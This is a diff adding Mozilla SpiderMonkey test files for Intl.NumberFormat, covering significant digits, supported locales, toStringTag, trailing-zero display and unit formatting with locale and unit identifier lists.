diff --git a/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js b/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js
new file mode 100644
index 0000000000..c569313266
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// -- test that NumberFormat correctly formats 0 with various numbers of significant digits
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var testData = [
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 1, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 2, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 3, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 4, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 5, expected: "0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 2, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 3, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 4, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 5, expected: "0.0"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 3, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 4, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 5, expected: "0.00"},
+];
+
+for (var i = 0; i < testData.length; i++) {
+ var min = testData[i].minimumSignificantDigits;
+ var max = testData[i].maximumSignificantDigits;
+ var options = {minimumSignificantDigits: min, maximumSignificantDigits: max};
+ var format = new Intl.NumberFormat("en-US", options);
+ var actual = format.format(0);
+ var expected = testData[i].expected;
+ assertEq(actual, expected,
+ "Wrong formatted string for 0 with " +
+ "minimumSignificantDigits " + min +
+ ", maximumSignificantDigits " + max +
+ ": expected \"" + expected +
+ "\", actual \"" + actual + "\"");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..5ba4470a98
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.NumberFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.NumberFormat");
diff --git a/js/src/tests/non262/Intl/NumberFormat/toStringTag.js b/js/src/tests/non262/Intl/NumberFormat/toStringTag.js
new file mode 100644
index 0000000000..9ad0901a0b
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.NumberFormat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object Intl.NumberFormat]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object Intl.NumberFormat]");
+
+Object.defineProperty(Intl.NumberFormat.prototype, Symbol.toStringTag, {value: "NumberFormat"});
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object NumberFormat]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object NumberFormat]");
+
+delete Intl.NumberFormat.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.NumberFormat.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.NumberFormat), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/trailing-zero-display.js b/js/src/tests/non262/Intl/NumberFormat/trailing-zero-display.js
new file mode 100644
index 0000000000..5e3113285a
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/trailing-zero-display.js
@@ -0,0 +1,98 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// "stripIfInteger" with fractional digits.
+{
+ let nf1 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ });
+
+ let nf2 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ trailingZeroDisplay: "auto",
+ });
+
+ let nf3 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ trailingZeroDisplay: "stripIfInteger",
+ });
+
+ assertEq(nf1.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf2.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf3.resolvedOptions().trailingZeroDisplay, "stripIfInteger");
+
+ assertEq(nf1.format(123), "123.00");
+ assertEq(nf2.format(123), "123.00");
+ assertEq(nf3.format(123), "123");
+}
+
+// "stripIfInteger" with significand digits.
+{
+ let nf1 = new Intl.NumberFormat("en", {
+ minimumSignificantDigits: 2,
+ });
+
+ let nf2 = new Intl.NumberFormat("en", {
+ minimumSignificantDigits: 2,
+ trailingZeroDisplay: "auto",
+ });
+
+ let nf3 = new Intl.NumberFormat("en", {
+ minimumSignificantDigits: 2,
+ trailingZeroDisplay: "stripIfInteger",
+ });
+
+ assertEq(nf1.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf2.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf3.resolvedOptions().trailingZeroDisplay, "stripIfInteger");
+
+ assertEq(nf1.format(1), "1.0");
+ assertEq(nf2.format(1), "1.0");
+ assertEq(nf3.format(1), "1");
+}
+
+// "stripIfInteger" with rounding increment.
+{
+ let nf1 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ roundingIncrement: 5,
+ });
+ let nf2 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ roundingIncrement: 5,
+ trailingZeroDisplay: "auto",
+ });
+ let nf3 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ roundingIncrement: 5,
+ trailingZeroDisplay: "stripIfInteger",
+ });
+
+ assertEq(nf1.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf2.resolvedOptions().trailingZeroDisplay, "auto");
+ assertEq(nf3.resolvedOptions().trailingZeroDisplay, "stripIfInteger");
+
+ // NB: Tests 1.975 twice b/c of <https://unicode-org.atlassian.net/browse/ICU-21674>.
+
+ assertEq(nf1.format(1.975), "2.00");
+ assertEq(nf1.format(1.97), "1.95");
+ assertEq(nf1.format(1.975), "2.00");
+
+ assertEq(nf2.format(1.975), "2.00");
+ assertEq(nf2.format(1.97), "1.95");
+ assertEq(nf2.format(1.975), "2.00");
+
+ assertEq(nf3.format(1.975), "2");
+ assertEq(nf3.format(1.97), "1.95");
+ assertEq(nf3.format(1.975), "2");
+}
+
+// Invalid values.
+for (let trailingZeroDisplay of ["", "true", true, "none", "yes", "no"]){
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {trailingZeroDisplay}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js b/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js
new file mode 100644
index 0000000000..2aad94b98e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js
@@ -0,0 +1,65 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "microsecond",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "nanosecond",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+// Test all simple unit identifier combinations are allowed.
+
+for (const numerator of sanctionedSimpleUnitIdentifiers) {
+ for (const denominator of sanctionedSimpleUnitIdentifiers) {
+ const unit = `${numerator}-per-${denominator}`;
+ const nf = new Intl.NumberFormat("en", {style: "unit", unit});
+
+ assertEq(nf.format(1), nf.formatToParts(1).map(p => p.value).join(""));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js b/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js
new file mode 100644
index 0000000000..9292c8ac73
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "microsecond",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "nanosecond",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+// Test only English and Chinese to keep the overall runtime reasonable.
+//
+// Chinese is included because it contains more than one "unit" element for
+// certain unit combinations.
+const locales = ["en", "zh"];
+
+// Plural rules for English only differentiate between "one" and "other". Plural
+// rules for Chinese only use "other". That means we only need to test two values
+// per unit.
+const values = [0, 1];
+
+// Ensure unit formatters contain at least one "unit" element.
+
+for (const locale of locales) {
+ for (const unit of sanctionedSimpleUnitIdentifiers) {
+ const nf = new Intl.NumberFormat(locale, {style: "unit", unit});
+
+ for (const value of values) {
+ assertEq(nf.formatToParts(value).some(e => e.type === "unit"), true,
+ `locale=${locale}, unit=${unit}`);
+ }
+ }
+
+ for (const numerator of sanctionedSimpleUnitIdentifiers) {
+ for (const denominator of sanctionedSimpleUnitIdentifiers) {
+ const unit = `${numerator}-per-${denominator}`;
+ const nf = new Intl.NumberFormat(locale, {style: "unit", unit});
+
+ for (const value of values) {
+ assertEq(nf.formatToParts(value).some(e => e.type === "unit"), true,
+ `locale=${locale}, unit=${unit}`);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js b/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js
new file mode 100644
index 0000000000..8eca3b58cf
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js
@@ -0,0 +1,267 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+const sanctionedSimpleUnitIdentifiers = [
+ "acre",
+ "bit",
+ "byte",
+ "celsius",
+ "centimeter",
+ "day",
+ "degree",
+ "fahrenheit",
+ "fluid-ounce",
+ "foot",
+ "gallon",
+ "gigabit",
+ "gigabyte",
+ "gram",
+ "hectare",
+ "hour",
+ "inch",
+ "kilobit",
+ "kilobyte",
+ "kilogram",
+ "kilometer",
+ "liter",
+ "megabit",
+ "megabyte",
+ "meter",
+ "microsecond",
+ "mile",
+ "mile-scandinavian",
+ "milliliter",
+ "millimeter",
+ "millisecond",
+ "minute",
+ "month",
+ "nanosecond",
+ "ounce",
+ "percent",
+ "petabyte",
+ "pound",
+ "second",
+ "stone",
+ "terabit",
+ "terabyte",
+ "week",
+ "yard",
+ "year"
+];
+
+const allUnits = [
+ "acceleration-g-force",
+ "acceleration-meter-per-square-second",
+ "angle-arc-minute",
+ "angle-arc-second",
+ "angle-degree",
+ "angle-radian",
+ "angle-revolution",
+ "area-acre",
+ "area-dunam",
+ "area-hectare",
+ "area-square-centimeter",
+ "area-square-foot",
+ "area-square-inch",
+ "area-square-kilometer",
+ "area-square-meter",
+ "area-square-mile",
+ "area-square-yard",
+ "concentr-item",
+ "concentr-karat",
+ "concentr-milligram-ofglucose-per-deciliter",
+ "concentr-millimole-per-liter",
+ "concentr-mole",
+ "concentr-percent",
+ "concentr-permille",
+ "concentr-permillion",
+ "concentr-permyriad",
+ "consumption-liter-per-100-kilometer",
+ "consumption-liter-per-kilometer",
+ "consumption-mile-per-gallon",
+ "consumption-mile-per-gallon-imperial",
+ "digital-bit",
+ "digital-byte",
+ "digital-gigabit",
+ "digital-gigabyte",
+ "digital-kilobit",
+ "digital-kilobyte",
+ "digital-megabit",
+ "digital-megabyte",
+ "digital-petabyte",
+ "digital-terabit",
+ "digital-terabyte",
+ "duration-century",
+ "duration-day",
+ "duration-day-person",
+ "duration-decade",
+ "duration-hour",
+ "duration-microsecond",
+ "duration-millisecond",
+ "duration-minute",
+ "duration-month",
+ "duration-month-person",
+ "duration-nanosecond",
+ "duration-quarter",
+ "duration-second",
+ "duration-week",
+ "duration-week-person",
+ "duration-year",
+ "duration-year-person",
+ "electric-ampere",
+ "electric-milliampere",
+ "electric-ohm",
+ "electric-volt",
+ "energy-british-thermal-unit",
+ "energy-calorie",
+ "energy-electronvolt",
+ "energy-foodcalorie",
+ "energy-joule",
+ "energy-kilocalorie",
+ "energy-kilojoule",
+ "energy-kilowatt-hour",
+ "energy-therm-us",
+ "force-kilowatt-hour-per-100-kilometer",
+ "force-newton",
+ "force-pound-force",
+ "frequency-gigahertz",
+ "frequency-hertz",
+ "frequency-kilohertz",
+ "frequency-megahertz",
+ "graphics-dot",
+ "graphics-dot-per-centimeter",
+ "graphics-dot-per-inch",
+ "graphics-em",
+ "graphics-megapixel",
+ "graphics-pixel",
+ "graphics-pixel-per-centimeter",
+ "graphics-pixel-per-inch",
+ "length-astronomical-unit",
+ "length-centimeter",
+ "length-decimeter",
+ "length-earth-radius",
+ "length-fathom",
+ "length-foot",
+ "length-furlong",
+ "length-inch",
+ "length-kilometer",
+ "length-light-year",
+ "length-meter",
+ "length-micrometer",
+ "length-mile",
+ "length-mile-scandinavian",
+ "length-millimeter",
+ "length-nanometer",
+ "length-nautical-mile",
+ "length-parsec",
+ "length-picometer",
+ "length-point",
+ "length-solar-radius",
+ "length-yard",
+ "light-candela",
+ "light-lumen",
+ "light-lux",
+ "light-solar-luminosity",
+ "mass-carat",
+ "mass-dalton",
+ "mass-earth-mass",
+ "mass-grain",
+ "mass-gram",
+ "mass-kilogram",
+ "mass-microgram",
+ "mass-milligram",
+ "mass-ounce",
+ "mass-ounce-troy",
+ "mass-pound",
+ "mass-solar-mass",
+ "mass-stone",
+ "mass-ton",
+ "mass-tonne",
+ "power-gigawatt",
+ "power-horsepower",
+ "power-kilowatt",
+ "power-megawatt",
+ "power-milliwatt",
+ "power-watt",
+ "pressure-atmosphere",
+ "pressure-bar",
+ "pressure-hectopascal",
+ "pressure-inch-ofhg",
+ "pressure-kilopascal",
+ "pressure-megapascal",
+ "pressure-millibar",
+ "pressure-millimeter-ofhg",
+ "pressure-pascal",
+ "pressure-pound-force-per-square-inch",
+ "speed-kilometer-per-hour",
+ "speed-knot",
+ "speed-meter-per-second",
+ "speed-mile-per-hour",
+ "temperature-celsius",
+ "temperature-fahrenheit",
+ "temperature-generic",
+ "temperature-kelvin",
+ "torque-newton-meter",
+ "torque-pound-force-foot",
+ "volume-acre-foot",
+ "volume-barrel",
+ "volume-bushel",
+ "volume-centiliter",
+ "volume-cubic-centimeter",
+ "volume-cubic-foot",
+ "volume-cubic-inch",
+ "volume-cubic-kilometer",
+ "volume-cubic-meter",
+ "volume-cubic-mile",
+ "volume-cubic-yard",
+ "volume-cup",
+ "volume-cup-metric",
+ "volume-deciliter",
+ "volume-dessert-spoon",
+ "volume-dessert-spoon-imperial",
+ "volume-dram",
+ "volume-drop",
+ "volume-fluid-ounce",
+ "volume-fluid-ounce-imperial",
+ "volume-gallon",
+ "volume-gallon-imperial",
+ "volume-hectoliter",
+ "volume-jigger",
+ "volume-liter",
+ "volume-megaliter",
+ "volume-milliliter",
+ "volume-pinch",
+ "volume-pint",
+ "volume-pint-metric",
+ "volume-quart",
+ "volume-quart-imperial",
+ "volume-tablespoon",
+ "volume-teaspoon"
+];
+
+// Test only sanctioned unit identifiers are allowed.
+
+for (const typeAndUnit of allUnits) {
+ const [_, type, unit] = typeAndUnit.match(/(\w+)-(.+)/);
+
+ let allowed;
+ if (unit.includes("-per-")) {
+ const [numerator, denominator] = unit.split("-per-");
+ allowed = sanctionedSimpleUnitIdentifiers.includes(numerator) &&
+ sanctionedSimpleUnitIdentifiers.includes(denominator);
+ } else {
+ allowed = sanctionedSimpleUnitIdentifiers.includes(unit);
+ }
+
+ if (allowed) {
+ const nf = new Intl.NumberFormat("en", {style: "unit", unit});
+ assertEq(nf.format(1), nf.formatToParts(1).map(p => p.value).join(""));
+ } else {
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {style: "unit", unit}),
+ RangeError, `Missing error for "${typeAndUnit}"`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/unit.js b/js/src/tests/non262/Intl/NumberFormat/unit.js
new file mode 100644
index 0000000000..7abc5142e0
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unit.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Literal,
+ Unit
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "short",
+ },
+ values: [
+ {value: +0, string: "0 m", parts: [Integer("0"), Literal(" "), Unit("m")]},
+ {value: -0, string: "-0 m", parts: [MinusSign("-"), Integer("0"), Literal(" "), Unit("m")]},
+ {value: 0n, string: "0 m", parts: [Integer("0"), Literal(" "), Unit("m")]},
+
+ {value: 1, string: "1 m", parts: [Integer("1"), Literal(" "), Unit("m")]},
+ {value: -1, string: "-1 m", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("m")]},
+ {value: 1n, string: "1 m", parts: [Integer("1"), Literal(" "), Unit("m")]},
+ {value: -1n, string: "-1 m", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("m")]},
+
+ {value: Infinity, string: "∞ m", parts: [Inf("∞"), Literal(" "), Unit("m")]},
+ {value: -Infinity, string: "-∞ m", parts: [MinusSign("-"), Inf("∞"), Literal(" "), Unit("m")]},
+
+ {value: NaN, string: "NaN m", parts: [Nan("NaN"), Literal(" "), Unit("m")]},
+ {value: -NaN, string: "NaN m", parts: [Nan("NaN"), Literal(" "), Unit("m")]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "narrow",
+ },
+ values: [
+ {value: +0, string: "0m", parts: [Integer("0"), Unit("m")]},
+ {value: -0, string: "-0m", parts: [MinusSign("-"), Integer("0"), Unit("m")]},
+ {value: 0n, string: "0m", parts: [Integer("0"), Unit("m")]},
+
+ {value: 1, string: "1m", parts: [Integer("1"), Unit("m")]},
+ {value: -1, string: "-1m", parts: [MinusSign("-"), Integer("1"), Unit("m")]},
+ {value: 1n, string: "1m", parts: [Integer("1"), Unit("m")]},
+ {value: -1n, string: "-1m", parts: [MinusSign("-"), Integer("1"), Unit("m")]},
+
+ {value: Infinity, string: "∞m", parts: [Inf("∞"), Unit("m")]},
+ {value: -Infinity, string: "-∞m", parts: [MinusSign("-"), Inf("∞"), Unit("m")]},
+
+ {value: NaN, string: "NaNm", parts: [Nan("NaN"), Unit("m")]},
+ {value: -NaN, string: "NaNm", parts: [Nan("NaN"), Unit("m")]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ style: "unit",
+ unit: "meter",
+ unitDisplay: "long",
+ },
+ values: [
+ {value: +0, string: "0 meters", parts: [Integer("0"), Literal(" "), Unit("meters")]},
+ {value: -0, string: "-0 meters", parts: [MinusSign("-"), Integer("0"), Literal(" "), Unit("meters")]},
+ {value: 0n, string: "0 meters", parts: [Integer("0"), Literal(" "), Unit("meters")]},
+
+ {value: 1, string: "1 meter", parts: [Integer("1"), Literal(" "), Unit("meter")]},
+ {value: -1, string: "-1 meter", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("meter")]},
+ {value: 1n, string: "1 meter", parts: [Integer("1"), Literal(" "), Unit("meter")]},
+ {value: -1n, string: "-1 meter", parts: [MinusSign("-"), Integer("1"), Literal(" "), Unit("meter")]},
+
+ {value: Infinity, string: "∞ meters", parts: [Inf("∞"), Literal(" "), Unit("meters")]},
+ {value: -Infinity, string: "-∞ meters", parts: [MinusSign("-"), Inf("∞"), Literal(" "), Unit("meters")]},
+
+ {value: NaN, string: "NaN meters", parts: [Nan("NaN"), Literal(" "), Unit("meters")]},
+ {value: -NaN, string: "NaN meters", parts: [Nan("NaN"), Literal(" "), Unit("meters")]},
+ ],
+ },
+
+ // Ensure the correct compound unit is automatically selected by ICU. For
+ // example instead of "50 chilometri al orari", 50 km/h should return
+ // "50 chilometri orari" in Italian.
+
+ {
+ locale: "it",
+ options: {
+ style: "unit",
+ unit: "kilometer-per-hour",
+ unitDisplay: "long",
+ },
+ values: [
+ {value: 50, string: "50 chilometri orari", parts: [Integer("50"), Literal(" "), Unit("chilometri orari")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
